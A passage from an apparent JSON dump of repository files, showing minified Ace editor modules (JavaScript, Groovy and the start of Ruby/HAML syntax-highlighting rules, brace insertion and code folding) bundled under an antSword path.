?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.constant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),ace.define(\"ace/mode/groovy_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=\"assert|with|abstract|continue|for|new|switch|assert|default|goto|package|synchronized|boolean|do|if|private|this|break|double|implements|protected|throw|byte|else|import|public|throws|case|enum|instanceof|return|transient|catch|extends|int|short|try|char|final|interface|static|void|class|finally|long|strictfp|volatile|def|float|native|super|while\",t=\"null|Infinity|NaN|undefined\",n=\"AbstractMethodError|AssertionError|ClassCircularityError|ClassFormatError|Deprecated|EnumConstantNotPresentException|ExceptionInInitializerError|IllegalAccessError|IllegalThreadStateException|InstantiationError|InternalError|NegativeArraySizeException|NoSuchFieldError|Override|Process|ProcessBuilder|SecurityManager|StringIndexOutOfBoundsException|SuppressWarnings|TypeNotPresentException|UnknownError|UnsatisfiedLinkError|UnsupportedClassVersionError|VerifyError|InstantiationException|IndexOutOfBoundsException|ArrayIndexOutOfBoundsException|CloneNotSupportedException|NoSuchFieldException|IllegalArgumentException|NumberFormatException|SecurityException|Void|InheritableThreadLocal|IllegalStateException|InterruptedException|NoSuchMethodException|IllegalAccessException|UnsupportedOperationException|Enum|StrictMath|Package|Compiler|Readable|Runtime|StringBuilder|Math|IncompatibleClassChangeError|NoSuchMethodError|ThreadLocal|RuntimePermission|ArithmeticException|NullPointerException|Long|Integer|Short|Byte|Double|Number|Float|Character|Boolean|StackTraceElement|Appendable|StringBuffer|Iterable|ThreadGroup|Runnable|Thread|IllegalMonitorStateException|StackOverflowError|OutOfMemoryError|VirtualMachineError|ArrayStoreException|ClassCastException|LinkageError|NoClassDefFoundError|ClassNotFoundException|RuntimeException|Exception|ThreadDeath|Error|Throwable|System|ClassLoader|Cloneable|Class|CharSequence|Comparable|String|Object\",r=this.createKeywordMapper({\"variable.language\":\"this\",keyword:e,\"support.function\":n,\"constant.language\":t},\"identifier\");this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string.regexp\",regex:\"[/](?:(?:\\\\[(?:\\\\\\\\]|[^\\\\]])+\\\\])|(?:\\\\\\\\/|[^\\\\]/]))*[/]\\\\w*\\\\s*(?=[).,;]|$)\"},{token:\"string\",regex:'\"\"\"',next:\"qqstring\"},{token:\"string\",regex:\"'''\",next:\"qstring\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\?:|\\\\?\\\\.|\\\\*\\\\.|<=>|=~|==~|\\\\.@|\\\\*\\\\.@|\\\\.&|as|in|is|!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|instanceof|new|delete|typeof|void)\"},{token:\"lparen\",regex:\"[[({]\"},{token:\"rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],qqstring:[{token:\"constant.language.escape\",regex:/\\\\(?:u[0-9A-Fa-f]{4}|.|$)/},{token:\"constant.language.escape\",regex:/\\$[\\w\\d]+/},{token:\"constant.language.escape\",regex:/\\$\\{[^\"\\}]+\\}?/},{token:\"string\",regex:'\"{3,5}',next:\"start\"},{token:\"string\",regex:\".+?\"}],qstring:[{token:\"constant.language.escape\",regex:/\\\\(?:u[0-9A-Fa-f]{4}|.|$)/},{token:\"string\",regex:\"'{3,5}\",next:\"start\"},{token:\"string\",regex:\".+?\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(o,s),t.GroovyHighlightRules=o}),ace.define(\"ace/mode/groovy\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/javascript\",\"ace/mode/groovy_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./javascript\").Mode,s=e(\"./groovy_highlight_rules\").GroovyHighlightRules,o=function(){i.call(this),this.HighlightRules=s};r.inherits(o,i),function(){this.createWorker=function(e){return null},this.$id=\"ace/mode/groovy\"}.call(o.prototype),t.Mode=o})"
  },
  {
    "path": "antSword/static/libs/ace/mode-haml.js",
    "content": "ace.define(\"ace/mode/ruby_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=t.constantOtherSymbol={token:\"constant.other.symbol.ruby\",regex:\"[:](?:[A-Za-z_]|[@$](?=[a-zA-Z0-9_]))[a-zA-Z0-9_]*[!=?]?\"},o=t.qString={token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},u=t.qqString={token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},a=t.tString={token:\"string\",regex:\"[`](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[`]\"},f=t.constantNumericHex={token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F](?:[0-9a-fA-F]|_(?=[0-9a-fA-F]))*\\\\b\"},l=t.constantNumericFloat={token:\"constant.numeric\",regex:\"[+-]?\\\\d(?:\\\\d|_(?=\\\\d))*(?:(?:\\\\.\\\\d(?:\\\\d|_(?=\\\\d))*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},c=function(){var e=\"abort|Array|assert|assert_equal|assert_not_equal|assert_same|assert_not_same|assert_nil|assert_not_nil|assert_match|assert_no_match|assert_in_delta|assert_throws|assert_raise|assert_nothing_raised|assert_instance_of|assert_kind_of|assert_respond_to|assert_operator|assert_send|assert_difference|assert_no_difference|assert_recognizes|assert_generates|assert_response|assert_redirected_to|assert_template|assert_select|assert_select_email|assert_select_rjs|assert_select_encoded|css_select|at_exit|attr|attr_writer|attr_reader|attr_accessor|attr_accessible|autoload|binding|block_given?|callcc|caller|catch|chomp|chomp!|chop|chop!|defined?|delete_via_redirect|eval|exec|exit|exit!|fail|Float|flunk|follow_redirect!|fork|form_for|form_tag|format|gets|global_variables|gsub|gsub!|get_via_redirect|host!|https?|https!|include|Integer|lambda|link_to|link_to_unless_current|link_to_function|link_to_remote|load|local_variables|loop|open|open_session|p|print|printf|proc|putc|puts|post_via_redirect|put_via_redirect|raise|rand|raw|readline|readlines|redirect?|request_via_redirect|require|scan|select|set_trace_func|sleep|split|sprintf|srand|String|stylesheet_link_tag|syscall|system|sub|sub!|test|throw|trace_var|trap|untrace_var|atan2|cos|exp|frexp|ldexp|log|log10|sin|sqrt|tan|render|javascript_include_tag|csrf_meta_tag|label_tag|text_field_tag|submit_tag|check_box_tag|content_tag|radio_button_tag|text_area_tag|password_field_tag|hidden_field_tag|fields_for|select_tag|options_for_select|options_from_collection_for_select|collection_select|time_zone_select|select_date|select_time|select_datetime|date_select|time_select|datetime_select|select_year|select_month|select_day|select_hour|select_minute|select_second|file_field_tag|file_field|respond_to|skip_before_filter|around_filter|after_filter|verify|protect_from_forgery|rescue_from|helper_method|redirect_to|before_filter|send_data|send_file|validates_presence_of|validates_uniqueness_of|validates_length_of|validates_format_of|validates_acceptance_of|validates_associated|validates_exclusion_of|validates_inclusion_of|validates_numericality_of|validates_with|validates_each|authenticate_or_request_with_http_basic|authenticate_or_request_with_http_digest|filter_parameter_logging|match|get|post|resources|redirect|scope|assert_routing|translate|localize|extract_locale_from_tld|caches_page|expire_page|caches_action|expire_action|cache|expire_fragment|expire_cache_for|observe|cache_sweeper|has_many|has_one|belongs_to|has_and_belongs_to_many\",t=\"alias|and|BEGIN|begin|break|case|class|def|defined|do|else|elsif|END|end|ensure|__FILE__|finally|for|gem|if|in|__LINE__|module|next|not|or|private|protected|public|redo|rescue|retry|return|super|then|undef|unless|until|when|while|yield\",n=\"true|TRUE|false|FALSE|nil|NIL|ARGF|ARGV|DATA|ENV|RUBY_PLATFORM|RUBY_RELEASE_DATE|RUBY_VERSION|STDERR|STDIN|STDOUT|TOPLEVEL_BINDING\",r=\"$DEBUG|$defout|$FILENAME|$LOAD_PATH|$SAFE|$stdin|$stdout|$s